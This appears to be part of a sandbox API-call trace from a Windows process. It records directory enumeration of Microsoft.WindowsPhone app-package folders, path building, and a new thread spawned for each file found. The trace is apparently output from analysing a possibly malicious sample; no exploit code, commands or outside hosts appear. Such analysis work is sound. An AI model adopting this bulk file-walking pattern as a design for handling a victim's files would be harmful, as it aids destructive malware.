	[0090.067] wcscmp (_String1="Common", _String2=".") returned 1
	[0090.067] wcscmp (_String1="Common", _String2="..") returned 1
	[0090.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x49251f8
	[0090.067] wcscpy (in: _Dest=0x49251f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.067] wcscat (in: _Dest=0x49251f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.067] wcscat (in: _Dest=0x49251f8, _Source="Common" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\Common") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\Common"
	[0090.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x49251f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2214
	[0090.068] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1501b56, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1501b56, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd15e6aaa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x577a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompanionApp.dll", cAlternateFileName="")) returned 1
	[0090.068] wcscmp (_String1="CompanionApp.dll", _String2=".") returned 1
	[0090.068] wcscmp (_String1="CompanionApp.dll", _String2="..") returned 1
	[0090.068] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e6aaa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd15e6aaa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd15e6aaa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompanionApp.exe", cAlternateFileName="")) returned 1
	[0090.068] wcscmp (_String1="CompanionApp.exe", _String2=".") returned 1
	[0090.068] wcscmp (_String1="CompanionApp.exe", _String2="..") returned 1
	[0090.068] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd15e6aaa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3a03176, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd15e6aaa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompanionAppCore", cAlternateFileName="COMPAN~1")) returned 1
	[0090.068] wcscmp (_String1="CompanionAppCore", _String2=".") returned 1
	[0090.068] wcscmp (_String1="CompanionAppCore", _String2="..") returned 1
	[0090.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477c2a8
	[0090.068] wcscpy (in: _Dest=0x477c2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.068] wcscat (in: _Dest=0x477c2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.068] wcscat (in: _Dest=0x477c2a8, _Source="CompanionAppCore" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\CompanionAppCore") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\CompanionAppCore"
	[0090.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477c2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2218
	[0090.069] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e6aaa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd15e6aaa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd160cc79, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x99800, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompanionAppDeviceManager.dll", cAlternateFileName="")) returned 1
	[0090.069] wcscmp (_String1="CompanionAppDeviceManager.dll", _String2=".") returned 1
	[0090.069] wcscmp (_String1="CompanionAppDeviceManager.dll", _String2="..") returned 1
	[0090.069] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd160cc79, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd160cc79, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd160cc79, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompanionAppDeviceManager.winmd", cAlternateFileName="")) returned 1
	[0090.069] wcscmp (_String1="CompanionAppDeviceManager.winmd", _String2=".") returned 1
	[0090.069] wcscmp (_String1="CompanionAppDeviceManager.winmd", _String2="..") returned 1
	[0090.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491b360
	[0090.069] wcscpy (in: _Dest=0x491b360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.069] wcscat (in: _Dest=0x491b360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.069] wcscat (in: _Dest=0x491b360, _Source="CompanionAppDeviceManager.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\CompanionAppDeviceManager.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\CompanionAppDeviceManager.winmd"
	[0090.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491b360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x221c
	[0090.070] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd160cc79, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3acabea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1b1da7e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="html", cAlternateFileName="")) returned 1
	[0090.070] wcscmp (_String1="html", _String2=".") returned 1
	[0090.070] wcscmp (_String1="html", _String2="..") returned 1
	[0090.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2cae0
	[0090.070] wcscpy (in: _Dest=0x4f2cae0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.070] wcscat (in: _Dest=0x4f2cae0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.070] wcscat (in: _Dest=0x4f2cae0, _Source="html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\html") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\html"
	[0090.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2cae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2220
	[0090.071] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c923e77, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xb3bfa622, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.071] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.071] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491cd88
	[0090.071] wcscpy (in: _Dest=0x491cd88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.071] wcscat (in: _Dest=0x491cd88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.071] wcscat (in: _Dest=0x491cd88, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x491cd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2224
	[0090.072] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b1da7e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1b1da7e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd1b6a08e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x12cc90, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.072] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.072] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47197a0
	[0090.072] wcscpy (in: _Dest=0x47197a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.072] wcscat (in: _Dest=0x47197a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.072] wcscat (in: _Dest=0x47197a0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0090.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47197a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2228
	[0090.073] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb391e1bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1384417, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0090.073] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0090.073] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0090.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47192c0
	[0090.073] wcscpy (in: _Dest=0x47192c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.073] wcscat (in: _Dest=0x47192c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.073] wcscat (in: _Dest=0x47192c0, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\_Resources"
	[0090.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47192c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x222c
	[0090.074] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb391e1bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1384417, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0090.074] FindClose (in: hFindFile=0x46a7958 | out: hFindFile=0x46a7958) returned 1
	[0090.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c6e0) returned 1
	[0090.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bb78) returned 1
	[0090.075] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d848) returned 1

Thread:
	id = 1043
	os_tid = 0x1cbc

	[0082.696] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476f998
	[0082.696] wcscpy (in: _Dest=0x476f998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe"
	[0082.696] wcscat (in: _Dest=0x476f998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.696] wcscat (in: _Dest=0x476f998, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.696] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c948
	[0082.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1121ceb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3c565ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7998
	[0082.698] wcscmp (_String1=".", _String2=".") returned 0
	[0082.698] FindNextFileW (in: hFindFile=0x46a7998, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1121ceb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3c565ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.699] wcscmp (_String1="..", _String2=".") returned 1
	[0082.699] wcscmp (_String1="..", _String2="..") returned 0
	[0082.699] FindNextFileW (in: hFindFile=0x46a7998, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd11e0abe, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd11e0abe, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd11e0abe, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.699] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.699] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x4774350
	[0082.699] wcscpy (in: _Dest=0x4774350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe"
	[0082.699] wcscat (in: _Dest=0x4774350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.699] wcscat (in: _Dest=0x4774350, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4774350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1648
	[0090.055] FindNextFileW (in: hFindFile=0x46a7998, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1121ceb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3c57272, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1121ceb, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.055] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.055] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d100
	[0090.055] wcscpy (in: _Dest=0x477d100, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe"
	[0090.055] wcscat (in: _Dest=0x477d100, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.055] wcscat (in: _Dest=0x477d100, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477d100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f4
	[0090.056] FindNextFileW (in: hFindFile=0x46a7998, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1338002, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1338002, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd1338002, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2965, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.056] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.056] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.056] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4722e00
	[0090.056] wcscpy (in: _Dest=0x4722e00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe"
	[0090.056] wcscat (in: _Dest=0x4722e00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.056] wcscat (in: _Dest=0x4722e00, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f8
	[0090.057] FindNextFileW (in: hFindFile=0x46a7998, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c923e77, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xb3c57d4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.057] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.057] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x50273a8
